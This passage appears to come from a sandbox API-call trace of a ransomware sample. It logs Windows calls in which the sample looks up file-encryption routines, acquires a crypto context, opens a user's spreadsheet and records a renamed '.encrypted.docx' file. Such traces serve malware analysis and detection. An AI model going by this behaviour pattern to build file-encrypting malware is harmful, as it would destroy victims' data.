wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.889] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.889] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.889] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.889] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.889] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.889] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.889] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.889] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.889] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.889] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.889] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.889] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.890] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0023.890] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.890] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.890] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.890] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0023.890] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.890] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.890] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.890] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.890] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.890] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.890] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0023.890] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.890] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.890] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.890] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.890] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.892] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.892] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.892] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0023.892] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.892] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.892] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.892] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.892] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.892] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0023.892] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=2494) returned 1 [0023.892] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.892] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0023.892] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0023.892] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x9be, lpOverlapped=0x0) returned 1 [0023.892] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0023.892] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x9be, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.892] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=2494) returned 1 [0023.892] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\6hmkgL288Io-nw73.encrypted.docx\r\n", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0023.892] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\6hmkgL288Io-nw73.encrypted.docx\r\n", cchWideChar=65, lpMultiByteStr=0xe8f4051720, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\6hmkgL288Io-nw73.encrypted.docx\r\n", lpUsedDefaultChar=0x0) returned 65 [0023.893] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f40698f0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f40698f0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x40, lpOverlapped=0x0) returned 1 [0023.893] CloseHandle (hObject=0x1fc) returned 1 [0023.894] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.895] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.895] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.895] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.895] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.895] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0023.895] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.896] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0023.896] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0023.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0023.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178940, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0023.897] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0023.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0023.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178940, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0023.897] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0023.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\6VP Y1.xlsx", cchWideChar=43, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 43 [0023.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\6VP Y1.xlsx", cchWideChar=43, lpMultiByteStr=0xe8f404bcd0, cbMultiByte=43, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\6VP Y1.xlsx", lpUsedDefaultChar=0x0) returned 43 [0023.898] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\6VP Y1.xlsx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\6vp y1.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0023.898] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=43, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 43 [0023.898] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=43, lpWideCharStr=0xe8f406a370, cchWideChar=43 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\6VP Y1.xlsx") returned 43 [0023.899] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0023.899] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.899] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.899] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0023.900] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0023.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0023.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178580, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0023.900] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0023.900] CloseHandle (hObject=0x1fc) returned 1 [0023.900] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0023.900] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.900] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.900] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0023.900] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.900] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0023.900] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0023.900] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.901] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.901] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.901] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.901] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.901] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.901] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0023.901] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0023.901] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.901] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.901] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.901] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.901] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.901] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.901] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.901] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.901] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.901] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.901] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0023.901] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.902] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.902] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.902] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0023.902] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.902] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.902] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.902] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.902] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.902] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0023.902] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.902] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633c0) returned 1 [0023.902] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.902] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.902] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0023.902] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.902] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.902] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.902] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.902] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.902] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.902] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.902] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.902] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.902] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.903] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.903] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.903] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0023.903] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.903] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.903] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.903] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.903] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.903] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.903] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.903] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.903] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.903] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 